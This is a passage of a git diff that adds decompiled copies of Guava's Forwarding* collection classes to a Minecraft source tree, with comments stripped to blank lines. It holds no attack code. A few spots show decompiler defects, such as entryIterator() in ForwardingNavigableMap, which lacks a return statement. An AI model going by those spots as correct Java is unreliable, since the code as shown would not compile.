+  @Beta
+  protected ListIterator<E> standardListIterator(int start)
+  {
+    return Lists.listIteratorImpl(this, start);
+  }
+  
+
+
+
+
+
+  @Beta
+  protected List<E> standardSubList(int fromIndex, int toIndex)
+  {
+    return Lists.subListImpl(this, fromIndex, toIndex);
+  }
+  
+
+
+
+
+
+  @Beta
+  protected boolean standardEquals(@Nullable Object object)
+  {
+    return Lists.equalsImpl(this, object);
+  }
+  
+
+
+
+
+
+  @Beta
+  protected int standardHashCode()
+  {
+    return Lists.hashCodeImpl(this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingListIterator.java b/src/minecraft/com/google/common/collect/ForwardingListIterator.java
new file mode 100644
index 0000000..29b4d13
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingListIterator.java
@@ -0,0 +1,70 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.ListIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingListIterator<E>
+  extends ForwardingIterator<E>
+  implements ListIterator<E>
+{
+  protected ForwardingListIterator() {}
+  
+  protected abstract ListIterator<E> delegate();
+  
+  public void add(E element)
+  {
+    delegate().add(element);
+  }
+  
+  public boolean hasPrevious()
+  {
+    return delegate().hasPrevious();
+  }
+  
+  public int nextIndex()
+  {
+    return delegate().nextIndex();
+  }
+  
+  public E previous()
+  {
+    return delegate().previous();
+  }
+  
+  public int previousIndex()
+  {
+    return delegate().previousIndex();
+  }
+  
+  public void set(E element)
+  {
+    delegate().set(element);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingListMultimap.java b/src/minecraft/com/google/common/collect/ForwardingListMultimap.java
new file mode 100644
index 0000000..25f7ee3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingListMultimap.java
@@ -0,0 +1,54 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingListMultimap<K, V>
+  extends ForwardingMultimap<K, V>
+  implements ListMultimap<K, V>
+{
+  protected ForwardingListMultimap() {}
+  
+  protected abstract ListMultimap<K, V> delegate();
+  
+  public List<V> get(@Nullable K key)
+  {
+    return delegate().get(key);
+  }
+  
+  public List<V> removeAll(@Nullable Object key) {
+    return delegate().removeAll(key);
+  }
+  
+  public List<V> replaceValues(K key, Iterable<? extends V> values) {
+    return delegate().replaceValues(key, values);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingMap.java b/src/minecraft/com/google/common/collect/ForwardingMap.java
new file mode 100644
index 0000000..85d5431
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingMap.java
@@ -0,0 +1,309 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingMap<K, V>
+  extends ForwardingObject
+  implements Map<K, V>
+{
+  protected ForwardingMap() {}
+  
+  protected abstract Map<K, V> delegate();
+  
+  public int size()
+  {
+    return delegate().size();
+  }
+  
+  public boolean isEmpty()
+  {
+    return delegate().isEmpty();
+  }
+  
+  public V remove(Object object)
+  {
+    return delegate().remove(object);
+  }
+  
+  public void clear()
+  {
+    delegate().clear();
+  }
+  
+  public boolean containsKey(@Nullable Object key)
+  {
+    return delegate().containsKey(key);
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    return delegate().containsValue(value);
+  }
+  
+  public V get(@Nullable Object key)
+  {
+    return delegate().get(key);
+  }
+  
+  public V put(K key, V value)
+  {
+    return delegate().put(key, value);
+  }
+  
+  public void putAll(Map<? extends K, ? extends V> map)
+  {
+    delegate().putAll(map);
+  }
+  
+  public Set<K> keySet()
+  {
+    return delegate().keySet();
+  }
+  
+  public Collection<V> values()
+  {
+    return delegate().values();
+  }
+  
+  public Set<Map.Entry<K, V>> entrySet()
+  {
+    return delegate().entrySet();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return (object == this) || (delegate().equals(object));
+  }
+  
+  public int hashCode() {
+    return delegate().hashCode();
+  }
+  
+
+
+
+
+
+
+
+  protected void standardPutAll(Map<? extends K, ? extends V> map)
+  {
+    Maps.putAllImpl(this, map);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  protected V standardRemove(@Nullable Object key)
+  {
+    Iterator<Map.Entry<K, V>> entryIterator = entrySet().iterator();
+    while (entryIterator.hasNext()) {
+      Map.Entry<K, V> entry = (Map.Entry)entryIterator.next();
+      if (Objects.equal(entry.getKey(), key)) {
+        V value = entry.getValue();
+        entryIterator.remove();
+        return value;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+  protected void standardClear()
+  {
+    Iterators.clear(entrySet().iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Beta
+  protected class StandardKeySet
+    extends Maps.KeySet<K, V>
+  {
+    public StandardKeySet()
+    {
+      super();
+    }
+  }
+  
+
+
+
+
+
+
+  @Beta
+  protected boolean standardContainsKey(@Nullable Object key)
+  {
+    return Maps.containsKeyImpl(this, key);
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  protected class StandardValues
+    extends Maps.Values<K, V>
+  {
+    public StandardValues()
+    {
+      super();
+    }
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardContainsValue(@Nullable Object value)
+  {
+    return Maps.containsValueImpl(this, value);
+  }
+  
+
+
+
+
+
+  @Beta
+  protected abstract class StandardEntrySet
+    extends Maps.EntrySet<K, V>
+  {
+    public StandardEntrySet() {}
+    
+
+
+
+
+    Map<K, V> map()
+    {
+      return ForwardingMap.this;
+    }
+  }
+  
+
+
+
+
+
+
+  protected boolean standardIsEmpty()
+  {
+    return !entrySet().iterator().hasNext();
+  }
+  
+
+
+
+
+
+
+  protected boolean standardEquals(@Nullable Object object)
+  {
+    return Maps.equalsImpl(this, object);
+  }
+  
+
+
+
+
+
+
+  protected int standardHashCode()
+  {
+    return Sets.hashCodeImpl(entrySet());
+  }
+  
+
+
+
+
+
+
+  protected String standardToString()
+  {
+    return Maps.toStringImpl(this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingMapEntry.java b/src/minecraft/com/google/common/collect/ForwardingMapEntry.java
new file mode 100644
index 0000000..b195313
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingMapEntry.java
@@ -0,0 +1,128 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingMapEntry<K, V>
+  extends ForwardingObject
+  implements Map.Entry<K, V>
+{
+  protected ForwardingMapEntry() {}
+  
+  protected abstract Map.Entry<K, V> delegate();
+  
+  public K getKey()
+  {
+    return delegate().getKey();
+  }
+  
+  public V getValue()
+  {
+    return delegate().getValue();
+  }
+  
+  public V setValue(V value)
+  {
+    return delegate().setValue(value);
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return delegate().equals(object);
+  }
+  
+  public int hashCode() {
+    return delegate().hashCode();
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardEquals(@Nullable Object object)
+  {
+    if ((object instanceof Map.Entry)) {
+      Map.Entry<?, ?> that = (Map.Entry)object;
+      return (Objects.equal(getKey(), that.getKey())) && (Objects.equal(getValue(), that.getValue()));
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+  protected int standardHashCode()
+  {
+    K k = getKey();
+    V v = getValue();
+    return (k == null ? 0 : k.hashCode()) ^ (v == null ? 0 : v.hashCode());
+  }
+  
+
+
+
+
+
+
+  @Beta
+  protected String standardToString()
+  {
+    return getKey() + "=" + getValue();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingMultimap.java b/src/minecraft/com/google/common/collect/ForwardingMultimap.java
new file mode 100644
index 0000000..e2762f0
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingMultimap.java
@@ -0,0 +1,143 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingMultimap<K, V>
+  extends ForwardingObject
+  implements Multimap<K, V>
+{
+  protected ForwardingMultimap() {}
+  
+  protected abstract Multimap<K, V> delegate();
+  
+  public Map<K, Collection<V>> asMap()
+  {
+    return delegate().asMap();
+  }
+  
+  public void clear()
+  {
+    delegate().clear();
+  }
+  
+  public boolean containsEntry(@Nullable Object key, @Nullable Object value)
+  {
+    return delegate().containsEntry(key, value);
+  }
+  
+  public boolean containsKey(@Nullable Object key)
+  {
+    return delegate().containsKey(key);
+  }
+  
+  public boolean containsValue(@Nullable Object value)
+  {
+    return delegate().containsValue(value);
+  }
+  
+  public Collection<Map.Entry<K, V>> entries()
+  {
+    return delegate().entries();
+  }
+  
+  public Collection<V> get(@Nullable K key)
+  {
+    return delegate().get(key);
+  }
+  
+  public boolean isEmpty()
+  {
+    return delegate().isEmpty();
+  }
+  
+  public Multiset<K> keys()
+  {
+    return delegate().keys();
+  }
+  
+  public Set<K> keySet()
+  {
+    return delegate().keySet();
+  }
+  
+  public boolean put(K key, V value)
+  {
+    return delegate().put(key, value);
+  }
+  
+  public boolean putAll(K key, Iterable<? extends V> values)
+  {
+    return delegate().putAll(key, values);
+  }
+  
+  public boolean putAll(Multimap<? extends K, ? extends V> multimap)
+  {
+    return delegate().putAll(multimap);
+  }
+  
+  public boolean remove(@Nullable Object key, @Nullable Object value)
+  {
+    return delegate().remove(key, value);
+  }
+  
+  public Collection<V> removeAll(@Nullable Object key)
+  {
+    return delegate().removeAll(key);
+  }
+  
+  public Collection<V> replaceValues(K key, Iterable<? extends V> values)
+  {
+    return delegate().replaceValues(key, values);
+  }
+  
+  public int size()
+  {
+    return delegate().size();
+  }
+  
+  public Collection<V> values()
+  {
+    return delegate().values();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return (object == this) || (delegate().equals(object));
+  }
+  
+  public int hashCode() {
+    return delegate().hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingMultiset.java b/src/minecraft/com/google/common/collect/ForwardingMultiset.java
new file mode 100644
index 0000000..66f50d2
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingMultiset.java
@@ -0,0 +1,308 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingMultiset<E>
+  extends ForwardingCollection<E>
+  implements Multiset<E>
+{
+  protected ForwardingMultiset() {}
+  
+  protected abstract Multiset<E> delegate();
+  
+  public int count(Object element)
+  {
+    return delegate().count(element);
+  }
+  
+  public int add(E element, int occurrences)
+  {
+    return delegate().add(element, occurrences);
+  }
+  
+  public int remove(Object element, int occurrences)
+  {
+    return delegate().remove(element, occurrences);
+  }
+  
+  public Set<E> elementSet()
+  {
+    return delegate().elementSet();
+  }
+  
+  public Set<Multiset.Entry<E>> entrySet()
+  {
+    return delegate().entrySet();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return (object == this) || (delegate().equals(object));
+  }
+  
+  public int hashCode() {
+    return delegate().hashCode();
+  }
+  
+  public int setCount(E element, int count)
+  {
+    return delegate().setCount(element, count);
+  }
+  
+  public boolean setCount(E element, int oldCount, int newCount)
+  {
+    return delegate().setCount(element, oldCount, newCount);
+  }
+  
+
+
+
+
+
+
+  protected boolean standardContains(@Nullable Object object)
+  {
+    return count(object) > 0;
+  }
+  
+
+
+
+
+
+
+  protected void standardClear()
+  {
+    Iterators.clear(entrySet().iterator());
+  }
+  
+
+
+
+
+
+  @Beta
+  protected int standardCount(@Nullable Object object)
+  {
+    for (Multiset.Entry<?> entry : entrySet()) {
+      if (Objects.equal(entry.getElement(), object)) {
+        return entry.getCount();
+      }
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+  protected boolean standardAdd(E element)
+  {
+    add(element, 1);
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  protected boolean standardAddAll(Collection<? extends E> elementsToAdd)
+  {
+    return Multisets.addAllImpl(this, elementsToAdd);
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardRemove(Object element)
+  {
+    return remove(element, 1) > 0;
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean standardRemoveAll(Collection<?> elementsToRemove)
+  {
+    return Multisets.removeAllImpl(this, elementsToRemove);
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean standardRetainAll(Collection<?> elementsToRetain)
+  {
+    return Multisets.retainAllImpl(this, elementsToRetain);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int standardSetCount(E element, int count)
+  {
+    return Multisets.setCountImpl(this, element, count);
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardSetCount(E element, int oldCount, int newCount)
+  {
+    return Multisets.setCountImpl(this, element, oldCount, newCount);
+  }
+  
+
+
+
+
+
+
+  @Beta
+  protected class StandardElementSet
+    extends Multisets.ElementSet<E>
+  {
+    public StandardElementSet() {}
+    
+
+
+
+
+
+
+    Multiset<E> multiset()
+    {
+      return ForwardingMultiset.this;
+    }
+  }
+  
+
+
+
+
+
+
+  protected Iterator<E> standardIterator()
+  {
+    return Multisets.iteratorImpl(this);
+  }
+  
+
+
+
+
+
+
+  protected int standardSize()
+  {
+    return Multisets.sizeImpl(this);
+  }
+  
+
+
+
+
+
+
+
+  protected boolean standardEquals(@Nullable Object object)
+  {
+    return Multisets.equalsImpl(this, object);
+  }
+  
+
+
+
+
+
+
+  protected int standardHashCode()
+  {
+    return entrySet().hashCode();
+  }
+  
+
+
+
+
+
+
+  protected String standardToString()
+  {
+    return entrySet().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingNavigableMap.java b/src/minecraft/com/google/common/collect/ForwardingNavigableMap.java
new file mode 100644
index 0000000..161dbf4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingNavigableMap.java
@@ -0,0 +1,398 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.NavigableSet;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.SortedMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingNavigableMap<K, V>
+  extends ForwardingSortedMap<K, V>
+  implements NavigableMap<K, V>
+{
+  protected ForwardingNavigableMap() {}
+  
+  protected abstract NavigableMap<K, V> delegate();
+  
+  public Map.Entry<K, V> lowerEntry(K key)
+  {
+    return delegate().lowerEntry(key);
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardLowerEntry(K key)
+  {
+    return headMap(key, false).lastEntry();
+  }
+  
+  public K lowerKey(K key)
+  {
+    return delegate().lowerKey(key);
+  }
+  
+
+
+
+
+  protected K standardLowerKey(K key)
+  {
+    return Maps.keyOrNull(lowerEntry(key));
+  }
+  
+  public Map.Entry<K, V> floorEntry(K key)
+  {
+    return delegate().floorEntry(key);
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardFloorEntry(K key)
+  {
+    return headMap(key, true).lastEntry();
+  }
+  
+  public K floorKey(K key)
+  {
+    return delegate().floorKey(key);
+  }
+  
+
+
+
+
+  protected K standardFloorKey(K key)
+  {
+    return Maps.keyOrNull(floorEntry(key));
+  }
+  
+  public Map.Entry<K, V> ceilingEntry(K key)
+  {
+    return delegate().ceilingEntry(key);
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardCeilingEntry(K key)
+  {
+    return tailMap(key, true).firstEntry();
+  }
+  
+  public K ceilingKey(K key)
+  {
+    return delegate().ceilingKey(key);
+  }
+  
+
+
+
+
+  protected K standardCeilingKey(K key)
+  {
+    return Maps.keyOrNull(ceilingEntry(key));
+  }
+  
+  public Map.Entry<K, V> higherEntry(K key)
+  {
+    return delegate().higherEntry(key);
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardHigherEntry(K key)
+  {
+    return tailMap(key, false).firstEntry();
+  }
+  
+  public K higherKey(K key)
+  {
+    return delegate().higherKey(key);
+  }
+  
+
+
+
+
+  protected K standardHigherKey(K key)
+  {
+    return Maps.keyOrNull(higherEntry(key));
+  }
+  
+  public Map.Entry<K, V> firstEntry()
+  {
+    return delegate().firstEntry();
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardFirstEntry()
+  {
+    return (Map.Entry)Iterables.getFirst(entrySet(), null);
+  }
+  
+
+
+
+
+  protected K standardFirstKey()
+  {
+    Map.Entry<K, V> entry = firstEntry();
+    if (entry == null) {
+      throw new NoSuchElementException();
+    }
+    return entry.getKey();
+  }
+  
+
+  public Map.Entry<K, V> lastEntry()
+  {
+    return delegate().lastEntry();
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardLastEntry()
+  {
+    return (Map.Entry)Iterables.getFirst(descendingMap().entrySet(), null);
+  }
+  
+
+
+
+  protected K standardLastKey()
+  {
+    Map.Entry<K, V> entry = lastEntry();
+    if (entry == null) {
+      throw new NoSuchElementException();
+    }
+    return entry.getKey();
+  }
+  
+
+  public Map.Entry<K, V> pollFirstEntry()
+  {
+    return delegate().pollFirstEntry();
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardPollFirstEntry()
+  {
+    return (Map.Entry)Iterators.pollNext(entrySet().iterator());
+  }
+  
+  public Map.Entry<K, V> pollLastEntry()
+  {
+    return delegate().pollLastEntry();
+  }
+  
+
+
+
+
+  protected Map.Entry<K, V> standardPollLastEntry()
+  {
+    return (Map.Entry)Iterators.pollNext(descendingMap().entrySet().iterator());
+  }
+  
+  public NavigableMap<K, V> descendingMap()
+  {
+    return delegate().descendingMap();
+  }
+  
+
+
+
+
+
+
+  @Beta
+  protected class StandardDescendingMap
+    extends Maps.DescendingMap<K, V>
+  {
+    public StandardDescendingMap() {}
+    
+
+
+
+
+
+    NavigableMap<K, V> forward()
+    {
+      return ForwardingNavigableMap.this;
+    }
+    
+    protected Iterator<Map.Entry<K, V>> entryIterator()
+    {
+      new Iterator() {
+        private Map.Entry<K, V> toRemove = null;
+        private Map.Entry<K, V> nextOrNull = forward().lastEntry();
+        
+        public boolean hasNext()
+        {
+          return nextOrNull != null;
+        }
+        
+        public Map.Entry<K, V> next()
+        {
+          if (!hasNext()) {
+            throw new NoSuchElementException();
+          }
+          try {
+            return nextOrNull;
+          } finally {
+            toRemove = nextOrNull;
+            nextOrNull = forward().lowerEntry(nextOrNull.getKey());
+          }
+        }
+        
+        public void remove()
+        {
+          CollectPreconditions.checkRemove(toRemove != null);
+          forward().remove(toRemove.getKey());
+          toRemove = null;
+        }
+      };
+    }
+  }
+  
+  public NavigableSet<K> navigableKeySet()
+  {
+    return delegate().navigableKeySet();
+  }
+  
+
+
+
+
+
+
+  @Beta
+  protected class StandardNavigableKeySet
+    extends Maps.NavigableKeySet<K, V>
+  {
+    public StandardNavigableKeySet()
+    {
+      super();
+    }
+  }
+  
+  public NavigableSet<K> descendingKeySet()
+  {
+    return delegate().descendingKeySet();
+  }
+  
+
+
+
+
+
+
+  @Beta
+  protected NavigableSet<K> standardDescendingKeySet()
+  {
+    return descendingMap().navigableKeySet();
+  }
+  
+
+
+
+
+
+
+  protected SortedMap<K, V> standardSubMap(K fromKey, K toKey)
+  {
+    return subMap(fromKey, true, toKey, false);
+  }
+  
+  public NavigableMap<K, V> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+  {
+    return delegate().subMap(fromKey, fromInclusive, toKey, toInclusive);
+  }
+  
+  public NavigableMap<K, V> headMap(K toKey, boolean inclusive)
+  {
+    return delegate().headMap(toKey, inclusive);
+  }
+  
+  public NavigableMap<K, V> tailMap(K fromKey, boolean inclusive)
+  {
+    return delegate().tailMap(fromKey, inclusive);
+  }
+  
+
+
+
+
+  protected SortedMap<K, V> standardHeadMap(K toKey)
+  {
+    return headMap(toKey, false);
+  }
+  
+
+
+
+
+  protected SortedMap<K, V> standardTailMap(K fromKey)
+  {
+    return tailMap(fromKey, true);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingNavigableSet.java b/src/minecraft/com/google/common/collect/ForwardingNavigableSet.java
new file mode 100644
index 0000000..9261e2a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingNavigableSet.java
@@ -0,0 +1,238 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import java.util.SortedSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForwardingNavigableSet<E>
+  extends ForwardingSortedSet<E>
+  implements NavigableSet<E>
+{
+  protected ForwardingNavigableSet() {}
+  
+  protected abstract NavigableSet<E> delegate();
+  
+  public E lower(E e)
+  {
+    return delegate().lower(e);
+  }
+  
+
+
+
+
+  protected E standardLower(E e)
+  {
+    return Iterators.getNext(headSet(e, false).descendingIterator(), null);
+  }
+  
+  public E floor(E e)
+  {
+    return delegate().floor(e);
+  }
+  
+
+
+
+
+  protected E standardFloor(E e)
+  {
+    return Iterators.getNext(headSet(e, true).descendingIterator(), null);
+  }
+  
+  public E ceiling(E e)
+  {
+    return delegate().ceiling(e);
+  }
+  
+
+
+
+
+  protected E standardCeiling(E e)
+  {
+    return Iterators.getNext(tailSet(e, true).iterator(), null);
+  }
+  
+  public E higher(E e)
+  {
+    return delegate().higher(e);
+  }
+  
+
+
+
+
+  protected E standardHigher(E e)
+  {
+    return Iterators.getNext(tailSet(e, false).iterator(), null);
+  }
+  
+  public E pollFirst()
+  {
+    return delegate().pollFirst();
+  }
+  
+
+
+
+
+  protected E standardPollFirst()
+  {
+    return Iterators.pollNext(iterator());
+  }
+  
+  public E pollLast()
+  {
+    return delegate().pollLast();
+  }
+  
+
+
+
+
+  protected E standardPollLast()
+  {
+    return Iterators.pollNext(descendingIterator());
+  }
+  
+  protected E standardFirst() {
+    return iterator().next();
+  }
+  
+  protected E standardLast() {
+    return descendingIterator().next();
+  }
+  
+  public NavigableSet<E> descendingSet()
+  {
+    return delegate().descendingSet();
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  protected class StandardDescendingSet
+    extends Sets.DescendingSet<E>
+  {
+    public StandardDescendingSet()
+    {
+      super();
+    }
+  }
+  
+  public Iterator<E> descendingIterator()
+  {
+    return delegate().descendingIterator();
+  }
+  
+
+
+
+
+  public NavigableSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+  {
+    return delegate().subSet(fromElement, fromInclusive, toElement, toInclusive);
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  protected NavigableSet<E> standardSubSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+  {
+    return tailSet(fromElement, fromInclusive).headSet(toElement, toInclusive);
+  }
+  
+
+
+
+
+
+
+  protected SortedSet<E> standardSubSet(E fromElement, E toElement)
+  {
+    return subSet(fromElement, true, toElement, false);
+  }
+  
+  public NavigableSet<E> headSet(E toElement, boolean inclusive)
+  {
+    return delegate().headSet(toElement, inclusive);
+  }
+  
+
+
+
+
+
+  protected SortedSet<E> standardHeadSet(E toElement)
+  {
+    return headSet(toElement, false);
+  }
+  
+  public NavigableSet<E> tailSet(E fromElement, boolean inclusive)
+  {
+    return delegate().tailSet(fromElement, inclusive);
+  }
+  
+
+
+
+
+
+  protected SortedSet<E> standardTailSet(E fromElement)
+  {
+    return tailSet(fromElement, true);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingObject.java b/src/minecraft/com/google/common/collect/ForwardingObject.java
new file mode 100644
index 0000000..86394ea
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingObject.java
@@ -0,0 +1,74 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingObject
+{
+  protected ForwardingObject() {}
+  
+  protected abstract Object delegate();
+  
+  public String toString()
+  {
+    return delegate().toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingQueue.java b/src/minecraft/com/google/common/collect/ForwardingQueue.java
new file mode 100644
index 0000000..6192f9e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingQueue.java
@@ -0,0 +1,121 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.NoSuchElementException;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingQueue<E>
+  extends ForwardingCollection<E>
+  implements Queue<E>
+{
+  protected ForwardingQueue() {}
+  
+  protected abstract Queue<E> delegate();
+  
+  public boolean offer(E o)
+  {
+    return delegate().offer(o);
+  }
+  
+  public E poll()
+  {
+    return delegate().poll();
+  }
+  
+  public E remove()
+  {
+    return delegate().remove();
+  }
+  
+  public E peek()
+  {
+    return delegate().peek();
+  }
+  
+  public E element()
+  {
+    return delegate().element();
+  }
+  
+
+
+
+
+
+  protected boolean standardOffer(E e)
+  {
+    try
+    {
+      return add(e);
+    } catch (IllegalStateException caught) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  protected E standardPeek()
+  {
+    try
+    {
+      return element();
+    } catch (NoSuchElementException caught) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+  protected E standardPoll()
+  {
+    try
+    {
+      return remove();
+    } catch (NoSuchElementException caught) {}
+    return null;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingSet.java b/src/minecraft/com/google/common/collect/ForwardingSet.java
new file mode 100644
index 0000000..958570c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingSet.java
@@ -0,0 +1,100 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Collection;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingSet<E>
+  extends ForwardingCollection<E>
+  implements Set<E>
+{
+  protected ForwardingSet() {}
+  
+  protected abstract Set<E> delegate();
+  
+  public boolean equals(@Nullable Object object)
+  {
+    return (object == this) || (delegate().equals(object));
+  }
+  
+  public int hashCode() {
+    return delegate().hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+  protected boolean standardRemoveAll(Collection<?> collection)
+  {
+    return Sets.removeAllImpl(this, (Collection)Preconditions.checkNotNull(collection));
+  }
+  
+
+
+
+
+
+
+  protected boolean standardEquals(@Nullable Object object)
+  {
+    return Sets.equalsImpl(this, object);
+  }
+  
+
+
+
+
+
+
+  protected int standardHashCode()
+  {
+    return Sets.hashCodeImpl(this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingSetMultimap.java b/src/minecraft/com/google/common/collect/ForwardingSetMultimap.java
new file mode 100644
index 0000000..a9b96db
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingSetMultimap.java
@@ -0,0 +1,56 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingSetMultimap<K, V>
+  extends ForwardingMultimap<K, V>
+  implements SetMultimap<K, V>
+{
+  public ForwardingSetMultimap() {}
+  
+  protected abstract SetMultimap<K, V> delegate();
+  
+  public Set<Map.Entry<K, V>> entries()
+  {
+    return delegate().entries();
+  }
+  
+  public Set<V> get(@Nullable K key) {
+    return delegate().get(key);
+  }
+  
+  public Set<V> removeAll(@Nullable Object key) {
+    return delegate().removeAll(key);
+  }
+  
+  public Set<V> replaceValues(K key, Iterable<? extends V> values) {
+    return delegate().replaceValues(key, values);
+  }
+}
